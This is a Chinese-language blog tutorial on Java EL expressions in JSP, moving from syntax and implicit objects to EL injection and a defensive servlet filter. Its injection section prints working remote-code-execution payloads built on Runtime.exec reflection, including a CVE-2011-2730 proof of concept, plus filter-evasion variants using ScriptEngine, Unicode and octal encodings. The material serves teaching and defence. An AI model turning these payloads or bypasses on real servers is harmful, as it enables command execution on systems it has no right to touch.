目录

  1. 1. 前言
  2. 2. 动态jsp Demo
  3. 3. EL
    1. 3.1. 基本语法
      1. 3.1.1. [ ]与.运算符
      2. 3.1.2. empty
      3. 3.1.3. 条件表达式
      4. 3.1.4. 变量
        1. 3.1.4.1. Demo
      5. 3.1.5. 操作符
    2. 3.2. 隐式对象
    3. 3.3. EL中的函数
    4. 3.4. 调用Java方法
  4. 4. 启动/禁用EL表达式
    1. 4.1. 全局禁用EL表达式
    2. 4.2. 单个文件禁用EL表达式
  5. 5. 注入
    1. 5.1. 通用poc
    2. 5.2. 漏洞场景
    3. 5.3. CVE-2011-2730
      1. 5.3.1. JUEL
    4. 5.4. 绕过
      1. 5.4.1. 利用反射机制
      2. 5.4.2. 利用ScriptEngine调用JS引擎
      3. 5.4.3. 利用Unicode编码绕过
      4. 5.4.4. 利用八进制绕过
  6. 6. 防御

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

EL表达式注入

2024/2/18 Web Java
  |     |   总文章阅读量:

前言

参考:

http://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E

https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/


动态jsp Demo

准备一个实体类

package com.example.learnservlet.pojo;

public class Band {

    private Integer id;
    private String bandName;
    private String AnimationName;
    private Integer ordered;
    private String description;
    private Integer status;


    public Band() {
    }

    public Band(Integer id, String bandName, String AnimationName, String description) {
        this.id = id;
        this.bandName = bandName;
        this.AnimationName = AnimationName;
        this.description = description;
    }

    public Band(Integer id, String bandName, String AnimationName, Integer ordered, String description, Integer status) {
        this.id = id;
        this.bandName = bandName;
        this.AnimationName = AnimationName;
        this.ordered = ordered;
        this.description = description;
        this.status = status;
    }

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getBandName() {
        return bandName;
    }

    public void setBandName(String bandName) {
        this.bandName = bandName;
    }

    public String getAnimationName() {
        return AnimationName;
    }

    public void setAnimationName(String animationName) {
        AnimationName = animationName;
    }

    public Integer getOrdered() {
        return ordered;
    }

    public void setOrdered(Integer ordered) {
        this.ordered = ordered;
    }

    public String getDescription() {
        return description;
    }

    public void setDescription(String description) {
        this.description = description;
    }

    public Integer getStatus() {
        return status;
    }

    public void setStatus(Integer status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return "Band{" +
                "id=" + id +
                ", bandName='" + bandName + '\'' +
                ", AnimationName='" + AnimationName + '\'' +
                ", ordered=" + ordered +
                ", description='" + description + '\'' +
                ", status=" + status +
                '}';
    }
}

然后准备动态的jsp代码band.jsp

<%@ page import="com.example.learnservlet.pojo.Band" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    // 查询数据库
    List<Band> brands = new ArrayList<Band>();
    brands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
    brands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
    brands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));

%>


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>看少女乐队看的</title>
</head>
<body>
<input type="button" value="新增"><br>
<hr>
<table border="1" cellspacing="0" width="800">
    <tr>
        <th>序号</th>
        <th>乐队名称</th>
        <th>动画名称</th>
        <th>排序</th>
        <th>介绍</th>
        <th>状态</th>
        <th>操作</th>
    </tr>
    <%
        for (int i = 0; i < brands.size(); i++) {
            Band brand = brands.get(i);
    %>
    <tr align="center">
        <td><%=brand.getId()%></td>
        <td><%=brand.getBandName()%></td>
        <td><%=brand.getAnimationName()%></td>
        <td><%=brand.getOrdered()%></td>
        <td><%=brand.getDescription()%></td>
        <td><%=brand.getStatus() == 1 ? "完结":"在追"%></td>
        <td><a href="#">修改</a> <a href="#">删除</a></td>
    </tr>
    <%
        }
    %>
</table>
</body>
</html>

以上就是动态jsp的实现

image-20240716190934155


EL

可以理解为简化的 Jsp

EL(Expression Language)功能:

  • 获取数据:EL表达式主要用于替换 JSP 页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法

用法:

先通过 page 标签设置不忽略 EI 表达式

<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>

基本语法

${EL表达式}

EL表达式和JSP代码等价转换

[ ]与.运算符

EL表达式提供.[]两种运算符来存取数据

当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]

eg:${user.My-Name}应当改为${user["My-Name"]}

如果要动态取值时,就可以用[]来做,而.无法做到动态取值

eg:${sessionScope.user[data]}中 data 是一个变量


empty

empty 用来判断 EL 表达式中的对象或者变量是否为空。若为空或者 null,返回 true,否则返回 false


条件表达式

${条件表达式?表达式1:表达式2}

变量

${username}为例,意思是取出某一范围中名称为 username 的变量。

因为我们并没有指定哪一个范围的username,所以它会依序从 Page、Request、Session、Application 范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传""。(注意是空字符串)

EL表达式属性:可以对应jsp中的对象

属性范围在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

这四个域对象的作用范围如下图:

image-20240716124225515

Demo

现在定义一个Servlet

转发的作用:通过转发,我们才可以使用 request 对象作为域对象进行数据共享

package com.example.learnservlet;

import com.example.learnservlet.pojo.Band;


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

@WebServlet("/ElDemo1")
public class ElDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //1. 准备数据
        List<Band> bands = new ArrayList<Band>();
        bands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
        bands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
        bands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));

        //2. 存储到request域中
        request.setAttribute("bands",bands);

        //3. 转发到 el-demo.jsp
        request.getRequestDispatcher("/el-demo.jsp").forward(request,response);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doGet(request, response);
    }
}

el-demo.jsp,这里通过EL表达式获取数据

<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>EL Demo</title>
</head>
<body>
<table>
    <tr>${bands}</tr>
</table>
</body>
</html>

然后访问/ElDemo1接口,是可以访问到数据的

image-20240716191006924


操作符

JSP 表达式语言提供以下操作符,其中大部分是 Java 中常用的操作符:

术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP 表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name}相当于 request.getParameter (name)
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name)
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name}相当于 request.getHeaderValues(name)
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

用一个demo来看一下:

<%@ page import="java.io.*,java.util.*" %>
<%
    String title = "Accessing Request Param";
%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title><% out.print(title); %></title>
</head>
<body>
<h3>通过访问 pageContext 对象来访问 request 对象,例如访问request对象传入的查询字符串</h3>
${pageContext.request.queryString}
<br>


<h3>Scope 对象</h3>
<!--pageContext没有对应方法的请导入tomcat lib目录下的jsp-api.jar-->
<%
    pageContext.setAttribute("name","nina");
    request.setAttribute("name","momoka");
    session.setAttribute("user","tomo");
    application.setAttribute("user","rupa");
%>

pageScope.name:${pageScope.name}
<br>
requestScope.name : ${requestScope.name}
<br>
sessionScope.user : ${sessionScope.user}
<br>
applicationScope.user : ${applicationScope.user}
<br>


<h3>param 和 paramValues 对象</h3>
<p>${param["username"]}</p>
<br>


<h3>header 和 headerValues 对象</h3>
<p>${header["user-agent"]}</p>

</body>
</html>

image-20240719114356983


EL中的函数

EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:

${ns:func(param1, param2, ...)}

ns 指的是命名空间(namespace),func 指的是函数的名称,param1 指的是第一个参数,param2 指的是第二个参数,以此类推。比如,有函数 fn:length,在 JSTL 库中定义,可以像下面这样来获取一个字符串的长度:

${fn:length("Get my length")}

要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用 <taglib> 标签在 JSP 文件中包含这些库。


调用Java方法

直接看demo

先新建一个 ELFunc 类,其中定义的 doSomething() 方法用于给输入的参数字符拼接 ".com" 形成域名返回:

package com.example.learnservlet;

public class ELFunc {
    public static String doSomething(String str){
        return str + ".com";
    }
}

接着在 WEB-INF 文件夹下(除 lib 和 classess 目录外)新建 test.tld 文件,其中指定执行的 Java 方法及其 URI 地址:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://localhost/ELFunc</uri>
    <function>
        <name>doSomething</name>
        <function-class>com.example.learnservlet.ELFunc</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

JSP 文件中,先头部导入 taglib 标签库,URI 为 test.tld 中设置的 URI 地址,prefix 为 test.tld 中设置的 short-name,然后直接在 EL 表达式中使用 类名:方法名() 的形式来调用该类方法即可:

<%@taglib uri="http://localhost/ELFunc" prefix="ELFunc"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
${ELFunc:doSomething("0w0")}
</body>
</html>

image-20240719111704379


启动/禁用EL表达式

全局禁用EL表达式

web.xml 中进入如下配置:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止

JSP2.0 中默认的启用EL表达式


注入

表达式外部可控导致攻击者注入恶意表达式实现任意代码执行

通用poc

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}

漏洞场景

比如这里有一个参数 a 是可控的,并且可以直接插入到 JSP 代码中,这种场景是非常常见的

举个简单的例子,如果登录界面,username 可控,并且判断不严格的情况下,就可以造成这种攻击:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
</body>
</html>

image-20240719115249990

实际场景中,是几乎没有也无法直接从外部控制 JSP 页面中的 EL表达式的。而目前已知的 EL表达式注入漏洞都是框架层面服务端执行的 EL表达式外部可控导致的


CVE-2011-2730

poc:

<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>

JUEL

EL 曾经是 JSTL 的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包 javax.el 中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用

也就是说,现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中

需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7

juelExec.java

package com.example.learnservlet;  
  
import de.odysseus.el.ExpressionFactoryImpl;  
import de.odysseus.el.util.SimpleContext;  
  
import javax.el.ExpressionFactory;  
import javax.el.ValueExpression;  
  
public class juelExec {  
    public static void main(String[] args) {  
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();  
        SimpleContext simpleContext = new SimpleContext();  
        // failed  
 // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";  
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);  
        System.out.println(valueExpression.getValue(simpleContext));  
    }  
}

绕过

利用反射机制

即前面的payload,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤

利用ScriptEngine调用JS引擎

ScriptEngineExec.java

package com.example.learnservlet;  
  
import de.odysseus.el.ExpressionFactoryImpl;  
import de.odysseus.el.util.SimpleContext;  
  
import javax.el.ExpressionFactory;  
import javax.el.ValueExpression;  
  
public class ScriptEngineExec {  
    public static void main(String[] args) {  
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();  
        SimpleContext simpleContext = new SimpleContext();  
        // failed  
 // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +  
                " ";  
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);  
        System.out.println(valueExpression.getValue(simpleContext));  
    }  
}

payload:

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

利用Unicode编码绕过

\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制绕过

构造脚本:

str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
  num = "\\" + oct(ord(s))
  result += num
print(result.replace("\\0", "\\"))

payload:

\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

防御

过滤关键字:

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.regex.Pattern;

public class ELInjectionFilter implements Filter {

    // Regex pattern to detect potential EL injections
    private static final Pattern EL_INJECTION_PATTERN = Pattern.compile("\\$\\{[^}]+\\}");

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // Initialization code if necessary
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        if (request instanceof HttpServletRequest) {
            HttpServletRequest httpRequest = (HttpServletRequest) request;

            // Check query parameters
            for (String param : httpRequest.getParameterMap().keySet()) {
                String[] values = httpRequest.getParameterValues(param);
                for (String value : values) {
                    if (isPotentialELInjection(value)) {
                        throw new ServletException("Potential EL injection detected in parameter: " + param);
                    }
                }
            }

            // Check headers
            for (String header : httpRequest.getHeaderNames()) {
                String headerValue = httpRequest.getHeader(header);
                if (isPotentialELInjection(headerValue)) {
                    throw new ServletException("Potential EL injection detected in header: " + header);
                }
            }
        }

        // Continue with the filter chain
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        // Cleanup code if necessary
    }

    // Method to check if a value contains potential EL injection patterns
    private boolean isPotentialELInjection(String value) {
        return EL_INJECTION_PATTERN.matcher(value).find();
    }
}

web.xml配置

<filter>
    <filter-name>ELInjectionFilter</filter-name>
    <filter-class>com.example.filters.ELInjectionFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>ELInjectionFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

EL_INJECTION_PATTERN:使用正则表达式\\$\\{[^}]+\\}来检测EL表达式注入的模式。

doFilter方法

  • 检查请求参数和请求头中的值是否包含潜在的EL注入模式。
  • 如果检测到潜在的EL注入,抛出ServletException,阻止请求继续处理。

init和destroy方法:这些方法用于在过滤器的初始化和销毁时执行任何必要的代码。

如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:

javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()